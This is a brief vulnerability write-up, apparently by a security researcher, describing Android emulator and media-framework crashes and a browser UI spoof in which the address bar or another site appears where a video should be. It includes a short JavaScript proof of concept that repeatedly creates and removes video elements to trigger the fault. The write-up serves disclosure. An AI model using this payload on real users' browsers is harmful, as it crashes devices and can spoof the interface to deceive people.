Writeups

Android 12 (x86_64): Internal Emulator crash EXCEPTION_ACCESS_VIOLATION_WRITE
Android 11 (x86): Emulator closes
Android 9 (x86): Launcher crash frameworks/av/media/libstagefright/omx/SimpleSoftOMXComponent.cpp:476 CHECK(state == OMX_StateLoaded || state == OMX_StateExecuting) failed

I have also had issues where the address bar or a different website in the case of a webview get shown instead of the video element.

<script> onload = () => { createVideo();createVideo();createVideo();createVideo();createVideo(); } function createVideo() { let v = null; setInterval(() => { if (v) document.body.removeChild(v); v = document.createElement('video'); v.width="1000"; v.src = 'https://ndevtk.github.io/writeups/extensionRCE.mp4'; document.body.appendChild(v); }, 2000); } </script>

Demos: Doge PoC and Unreliable Chrome UI spoof